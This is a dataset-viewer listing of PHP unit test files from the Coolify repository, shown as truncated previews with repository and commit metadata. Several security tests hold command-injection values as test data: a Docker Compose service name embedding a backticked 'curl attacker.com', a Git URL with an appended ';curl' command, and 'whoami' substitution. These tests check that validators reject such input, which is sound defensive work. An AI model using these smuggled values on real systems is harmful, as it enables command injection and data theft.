repo
stringlengths
7
63
file_url
stringlengths
81
284
file_path
stringlengths
5
200
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
7 values
commit_sha
stringlengths
40
40
retrieved_at
stringdate
2026-01-04 15:02:33
2026-01-05 05:24:06
truncated
bool
2 classes
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/BashEnvEscapingTest.php
tests/Unit/BashEnvEscapingTest.php
<?php test('escapeBashEnvValue wraps simple values in single quotes', function () { $result = escapeBashEnvValue('simple_value'); expect($result)->toBe("'simple_value'"); }); test('escapeBashEnvValue handles special bash characters', function () { $specialChars = [ '$&#)@*~$&@(~#&#%(*$324803129&$#...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ProxyHelperTest.php
tests/Unit/ProxyHelperTest.php
<?php use Illuminate\Support\Facades\Log; beforeEach(function () { // Mock Log facade to prevent actual logging during tests Log::shouldReceive('debug')->andReturn(null); Log::shouldReceive('error')->andReturn(null); }); it('parses traefik version with v prefix', function () { $image = 'traefik:v3.6'...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/FileStorageSecurityTest.php
tests/Unit/FileStorageSecurityTest.php
<?php /** * File Storage Security Tests * * Tests to ensure file storage directory mount functionality is protected against * command injection attacks via malicious storage paths. * * Related Issues: #6 in security_issues.md * Related Files: * - app/Models/LocalFileVolume.php * - app/Livewire/Project/Servi...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServerMetricsDownsamplingTest.php
tests/Unit/ServerMetricsDownsamplingTest.php
<?php use App\Models\Server; /** * Helper to call the private downsampleLTTB method on Server model via reflection. */ function callDownsampleLTTB(array $data, int $threshold): array { $server = new Server; $reflection = new ReflectionClass($server); $method = $reflection->getMethod('downsampleLTTB'); ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationDeploymentErrorLoggingTest.php
tests/Unit/ApplicationDeploymentErrorLoggingTest.php
<?php use App\Exceptions\DeploymentException; use App\Jobs\ApplicationDeploymentJob; use App\Models\Application; use App\Models\ApplicationDeploymentQueue; /** * Test to verify that deployment errors are properly logged with comprehensive details. * * This test suite verifies the fix for issue #7113 where deployme...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/RestoreJobFinishedNullServerTest.php
tests/Unit/RestoreJobFinishedNullServerTest.php
<?php use App\Events\RestoreJobFinished; use App\Events\S3RestoreJobFinished; use App\Models\Server; /** * Tests for RestoreJobFinished and S3RestoreJobFinished events to ensure they handle * null server scenarios gracefully (when server is deleted during operation). */ describe('RestoreJobFinished null server han...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/EnvVarInputComponentTest.php
tests/Unit/EnvVarInputComponentTest.php
<?php use App\View\Components\Forms\EnvVarInput; it('renders with default properties', function () { $component = new EnvVarInput; expect($component->required)->toBeFalse() ->and($component->disabled)->toBeFalse() ->and($component->readonly)->toBeFalse() ->and($component->defaultClass...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceRequiredPortTest.php
tests/Unit/ServiceRequiredPortTest.php
<?php use App\Models\Service; use App\Models\ServiceApplication; use Mockery; it('returns required port from service template', function () { // Mock get_service_templates() function $mockTemplates = collect([ 'supabase' => [ 'name' => 'Supabase', 'port' => '8000', ], ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeEmptyStringPreservationTest.php
tests/Unit/DockerComposeEmptyStringPreservationTest.php
<?php use Symfony\Component\Yaml\Yaml; /** * Unit tests to verify that environment variables with empty strings * in Docker Compose files are preserved as empty strings, not converted to null. * * This is important because empty strings and null have different semantics in Docker: * - Empty string: Variable is s...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/S3StorageTest.php
tests/Unit/S3StorageTest.php
<?php use App\Models\S3Storage; test('S3Storage model has correct cast definitions', function () { $s3Storage = new S3Storage; $casts = $s3Storage->getCasts(); expect($casts['is_usable'])->toBe('boolean'); expect($casts['key'])->toBe('encrypted'); expect($casts['secret'])->toBe('encrypted'); }); ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/HetznerServiceTest.php
tests/Unit/HetznerServiceTest.php
<?php use App\Services\HetznerService; use Illuminate\Support\Facades\Http; beforeEach(function () { Http::preventStrayRequests(); }); it('getServers returns list of servers from Hetzner API', function () { Http::fake([ 'api.hetzner.cloud/v1/servers*' => Http::response([ 'servers' => [ ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceApplicationPrerequisitesTest.php
tests/Unit/ServiceApplicationPrerequisitesTest.php
<?php use App\Models\Service; use Illuminate\Support\Facades\Log; beforeEach(function () { Log::shouldReceive('error')->andReturn(null); }); it('applies beszel gzip prerequisite correctly', function () { // Create a simple object to track the property change $application = new class { public ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DatalistComponentTest.php
tests/Unit/DatalistComponentTest.php
<?php use App\View\Components\Forms\Datalist; it('renders with default properties', function () { $component = new Datalist; expect($component->required)->toBeFalse() ->and($component->disabled)->toBeFalse() ->and($component->readonly)->toBeFalse() ->and($component->multiple)->toBeFal...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationPortDetectionTest.php
tests/Unit/ApplicationPortDetectionTest.php
<?php /** * Unit tests for PORT environment variable detection feature. * * Tests verify that the Application model can correctly detect PORT environment * variables and provide information to the UI about matches and mismatches with * the configured ports_exposes field. */ use App\Models\Application; use App\M...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeRawContentRemovalTest.php
tests/Unit/DockerComposeRawContentRemovalTest.php
<?php /** * Unit tests to verify that docker_compose_raw only has content: removed from volumes, * while docker_compose contains all Coolify additions (labels, environment variables, networks). * * These tests verify the fix for the issue where docker_compose_raw was being set to the * fully processed compose (wi...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ParseCommandsByLineForSudoTest.php
tests/Unit/ParseCommandsByLineForSudoTest.php
<?php use App\Models\Server; beforeEach(function () { // Create a mock server with non-root user $this->server = Mockery::mock(Server::class)->makePartial(); $this->server->shouldReceive('getAttribute')->with('user')->andReturn('ubuntu'); $this->server->shouldReceive('setAttribute')->andReturnSelf(); ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DeploymentExceptionTest.php
tests/Unit/DeploymentExceptionTest.php
<?php use App\Exceptions\DeploymentException; use App\Exceptions\Handler; test('DeploymentException is in the dontReport array', function () { $handler = new Handler(app()); // Use reflection to access the protected $dontReport property $reflection = new ReflectionClass($handler); $property = $reflec...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CheckTraefikVersionJobTest.php
tests/Unit/CheckTraefikVersionJobTest.php
<?php use App\Jobs\CheckTraefikVersionJob; it('has correct retry configuration', function () { $job = new CheckTraefikVersionJob; expect($job->tries)->toBe(3); }); it('returns early when traefik versions are empty', function () { // This test verifies the early return logic when get_traefik_versions() r...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/SshRetryMechanismTest.php
tests/Unit/SshRetryMechanismTest.php
<?php namespace Tests\Unit; use App\Helpers\SshRetryHandler; use App\Traits\SshRetryable; use Tests\TestCase; class SshRetryMechanismTest extends TestCase { public function test_ssh_retry_handler_exists() { $this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class)); } public functi...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/PostgRESTDetectionTest.php
tests/Unit/PostgRESTDetectionTest.php
<?php test('postgrest image is detected as application not database', function () { $result = isDatabaseImage('postgrest/postgrest:latest'); expect($result)->toBeFalse(); }); test('postgrest image with version is detected as application', function () { $result = isDatabaseImage('postgrest/postgrest:v12.0....
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DatabaseBackupSecurityTest.php
tests/Unit/DatabaseBackupSecurityTest.php
<?php /** * Database Backup Security Tests * * Tests to ensure database backup functionality is protected against * command injection attacks via malicious database names. * * Related Issues: #2 in security_issues.md * Related Files: app/Jobs/DatabaseBackupJob.php, app/Livewire/Project/Database/BackupEdit.php ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php
tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php
<?php use Symfony\Component\Yaml\Yaml; /** * Unit tests to verify that empty top-level sections (volumes, configs, secrets) * are removed from generated Docker Compose files. * * Empty sections like "volumes: { }" are not valid/clean YAML and should be omitted * when they contain no actual content. */ it('ensu...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/PreSaveValidationTest.php
tests/Unit/PreSaveValidationTest.php
<?php test('validateDockerComposeForInjection blocks malicious service names', function () { $maliciousCompose = <<<'YAML' services: evil`curl attacker.com`: image: nginx:latest YAML; expect(fn () => validateDockerComposeForInjection($maliciousCompose)) ->toThrow(Exception::class, 'Invalid Docke...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/S3RestoreSecurityTest.php
tests/Unit/S3RestoreSecurityTest.php
<?php it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () { // Test that escapeshellarg works correctly for various malicious inputs // This is the core security mechanism used in Import.php line 407-410 // Test case 1: Secret with command injection attempt $mali...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/UpdateCoolifyTest.php
tests/Unit/UpdateCoolifyTest.php
<?php use App\Actions\Server\UpdateCoolify; use App\Models\InstanceSettings; use App\Models\Server; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\Http; beforeEach(function () { // Mock Server $this->mockServer = Mockery::mock(Server::class)->makePartial(); $this->mockServer->id = 0;...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/RestoreJobFinishedShellEscapingTest.php
tests/Unit/RestoreJobFinishedShellEscapingTest.php
<?php /** * Security tests for shell metacharacter escaping in restore events. * * These tests verify that escapeshellarg() properly neutralizes shell injection * attempts in paths that pass isSafeTmpPath() validation. */ describe('Shell metacharacter escaping in restore events', function () { it('demonstrate...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/NotifyOutdatedTraefikServersJobTest.php
tests/Unit/NotifyOutdatedTraefikServersJobTest.php
<?php use App\Jobs\NotifyOutdatedTraefikServersJob; it('has correct queue and retry configuration', function () { $job = new NotifyOutdatedTraefikServersJob; expect($job->tries)->toBe(3); }); it('handles servers with null traefik_outdated_info gracefully', function () { // Create a mock server with null...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ParseDockerVolumeStringTest.php
tests/Unit/ParseDockerVolumeStringTest.php
<?php test('parses simple volume mappings', function () { // Simple named volume $result = parseDockerVolumeString('gitea:/data'); expect($result['source']->value())->toBe('gitea'); expect($result['target']->value())->toBe('/data'); expect($result['mode'])->toBeNull(); // Simple bind mount ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/WindowsPathVolumeTest.php
tests/Unit/WindowsPathVolumeTest.php
<?php test('parseDockerVolumeString correctly handles Windows paths with drive letters', function () { $windowsVolume = 'C:\\host\\path:/container'; $result = parseDockerVolumeString($windowsVolume); expect((string) $result['source'])->toBe('C:\\host\\path'); expect((string) $result['target'])->toBe(...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/CheckTraefikVersionForServerJobTest.php
tests/Unit/CheckTraefikVersionForServerJobTest.php
<?php use App\Jobs\CheckTraefikVersionForServerJob; use App\Models\Server; beforeEach(function () { $this->traefikVersions = [ 'v3.5' => '3.5.6', 'v3.6' => '3.6.2', ]; }); it('has correct queue and retry configuration', function () { $server = \Mockery::mock(Server::class)->makePartial();...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/FormatBytesTest.php
tests/Unit/FormatBytesTest.php
<?php it('formats zero bytes correctly', function () { expect(formatBytes(0))->toBe('0 B'); }); it('formats null bytes correctly', function () { expect(formatBytes(null))->toBe('0 B'); }); it('handles negative bytes safely', function () { expect(formatBytes(-1024))->toBe('0 B'); expect(formatBytes(-1...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceNameSecurityTest.php
tests/Unit/ServiceNameSecurityTest.php
<?php use App\Models\Service; use Symfony\Component\Yaml\Yaml; test('service names with backtick injection are rejected', function () { $maliciousCompose = <<<'YAML' services: 'evil`whoami`': image: alpine YAML; $parsed = Yaml::parse($maliciousCompose); $serviceName = array_key_first($parsed['servi...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/LocalFileVolumeReadOnlyTest.php
tests/Unit/LocalFileVolumeReadOnlyTest.php
<?php /** * Unit tests to verify LocalFileVolume::isReadOnlyVolume() correctly detects * read-only volumes in both short-form and long-form Docker Compose syntax. * * Related Issue: Volumes with read_only: true in long-form syntax were not * being detected as read-only, allowing UI edits on files that should be p...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/UpdateComposeAbbreviatedVariablesTest.php
tests/Unit/UpdateComposeAbbreviatedVariablesTest.php
<?php /** * Unit tests to verify that updateCompose() correctly handles abbreviated * SERVICE_URL and SERVICE_FQDN variable names from templates. * * This tests the fix for GitHub issue #7243 where SERVICE_URL_OPDASHBOARD * wasn't being updated when the domain changed, while SERVICE_URL_OPDASHBOARD_3000 * was be...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationNetworkAliasesSyncTest.php
tests/Unit/ApplicationNetworkAliasesSyncTest.php
<?php use App\Models\Application; /** * Unit test to verify custom_network_aliases conversion from array to string. * * The issue: Application model's accessor returns an array, but the Livewire * component property is typed as ?string for the text input field. * The conversion happens in mount() after syncFromM...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationSettingStaticCastTest.php
tests/Unit/ApplicationSettingStaticCastTest.php
<?php /** * Tests for ApplicationSetting model boolean casting * * NOTE: These tests verify that the is_static field properly casts to boolean. * The fix changes $cast to $casts to enable proper Laravel boolean casting. */ use App\Models\ApplicationSetting; it('casts is_static to boolean when true', function ()...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/RestartCountTrackingTest.php
tests/Unit/RestartCountTrackingTest.php
<?php use App\Models\Application; use App\Models\Server; beforeEach(function () { // Mock server $this->server = Mockery::mock(Server::class); $this->server->shouldReceive('isFunctional')->andReturn(true); $this->server->shouldReceive('isSwarm')->andReturn(false); $this->server->shouldReceive('app...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/StripCoolifyCustomFieldsTest.php
tests/Unit/StripCoolifyCustomFieldsTest.php
<?php use function PHPUnit\Framework\assertEquals; test('removes exclude_from_hc from service level', function () { $yaml = [ 'services' => [ 'web' => [ 'image' => 'nginx:latest', 'exclude_from_hc' => true, 'ports' => ['80:80'], ], ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/StopProxyTest.php
tests/Unit/StopProxyTest.php
<?php // Test the proxy stop container cleanup logic it('ensures stop proxy includes wait loop for container removal', function () { // This test verifies that StopProxy waits for container to be fully removed // to prevent race conditions during restart operations // Simulate the command sequence from St...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ContainerHealthStatusTest.php
tests/Unit/ContainerHealthStatusTest.php
<?php use App\Models\Application; use Mockery; /** * Unit tests to verify that containers without health checks are not * incorrectly marked as unhealthy. * * This tests the fix for the issue where defaulting missing health status * to 'unhealthy' would treat containers without healthchecks as unhealthy. * * T...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeRawSeparationTest.php
tests/Unit/DockerComposeRawSeparationTest.php
<?php use App\Models\Application; use Illuminate\Support\Facades\DB; use Symfony\Component\Yaml\Yaml; /** * Integration test to verify docker_compose_raw remains clean after parsing */ it('verifies docker_compose_raw does not contain Coolify labels after parsing', function () { // This test requires database, s...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ScheduledJobsRetryConfigTest.php
tests/Unit/ScheduledJobsRetryConfigTest.php
<?php use App\Jobs\CoolifyTask; use App\Jobs\DatabaseBackupJob; use App\Jobs\ScheduledTaskJob; it('CoolifyTask has correct retry properties defined', function () { $reflection = new ReflectionClass(CoolifyTask::class); // Check public properties exist expect($reflection->hasProperty('tries'))->toBeTrue()...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/DockerComposeLabelParsingTest.php
tests/Unit/DockerComposeLabelParsingTest.php
<?php /** * Unit tests to verify that docker compose label parsing correctly handles * labels defined as YAML key-value pairs (e.g., "traefik.enable: true") * which get parsed as arrays instead of strings. * * This test verifies the fix for the "preg_match(): Argument #2 ($subject) must * be of type string, arra...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServerManagerJobExecutionTimeTest.php
tests/Unit/ServerManagerJobExecutionTimeTest.php
<?php use Illuminate\Support\Carbon; afterEach(function () { Carbon::setTestNow(); }); it('does not mutate Carbon instance when using copy() before subSeconds()', function () { // This test verifies the fix for the bug where subSeconds() was mutating executionTime $originalTime = Carbon::parse('2024-12-0...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationParserStringableTest.php
tests/Unit/ApplicationParserStringableTest.php
<?php /** * Unit tests to verify that the applicationParser function in parsers.php * properly converts Stringable objects to plain strings to fix strict * comparison and collection key lookup issues. * * Related issue: Lines 539 and 541 in parsers.php were creating Stringable * objects which caused: * - Strict...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ExcludeFromHealthCheckTest.php
tests/Unit/ExcludeFromHealthCheckTest.php
<?php /** * Unit tests to verify that applications and services with all containers * excluded from health checks (exclude_from_hc: true) show correct status. * * These tests verify the fix for the issue where services with all containers * excluded would show incorrect status, causing broken UI state. * * The ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServiceConfigurationRefreshTest.php
tests/Unit/ServiceConfigurationRefreshTest.php
<?php /** * Unit tests to verify that Configuration component properly listens to * refresh events dispatched when compose file or domain changes. * * These tests verify the fix for the issue where changes to compose or domain * were not visible until manual page refresh. */ it('ensures Configuration component l...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/StartProxyTest.php
tests/Unit/StartProxyTest.php
<?php // Test the proxy restart container cleanup logic it('ensures container cleanup includes wait loop in command sequence', function () { // This test verifies that the StartProxy action includes proper container // cleanup with a wait loop to prevent "container name already in use" errors // Simulate ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/StartupExecutionCleanupTest.php
tests/Unit/StartupExecutionCleanupTest.php
<?php use App\Models\ScheduledDatabaseBackupExecution; use App\Models\ScheduledTaskExecution; use Carbon\Carbon; beforeEach(function () { Carbon::setTestNow('2025-01-15 12:00:00'); }); afterEach(function () { Carbon::setTestNow(); \Mockery::close(); }); it('marks stuck scheduled task executions as faile...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php
tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php
<?php /** * Test to verify that custom Docker Compose build commands properly inject flags. * * This test suite verifies that when using a custom build command, the system automatically * injects the -f (compose file path) and --env-file flags to ensure the correct compose file * is used and build-time environmen...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
true
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationGitSecurityTest.php
tests/Unit/ApplicationGitSecurityTest.php
<?php use App\Models\Application; use App\Models\GithubApp; use App\Models\PrivateKey; afterEach(function () { Mockery::close(); }); it('escapes malicious repository URLs in deploy_key type', function () { // Arrange: Create a malicious repository URL $maliciousRepo = 'git@github.com:user/repo.git;curl h...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
2026-01-04T15:02:34.115123Z
false
coollabsio/coolify
https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/TimescaleDbDetectionTest.php
tests/Unit/TimescaleDbDetectionTest.php
<?php use App\Models\ServiceDatabase; use function PHPUnit\Framework\assertTrue; test('timescaledb is detected as database with postgres environment variables', function () { $image = 'timescale/timescaledb'; $serviceConfig = [ 'image' => 'timescale/timescaledb', 'environment' => [ ...
php
Apache-2.0
f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53
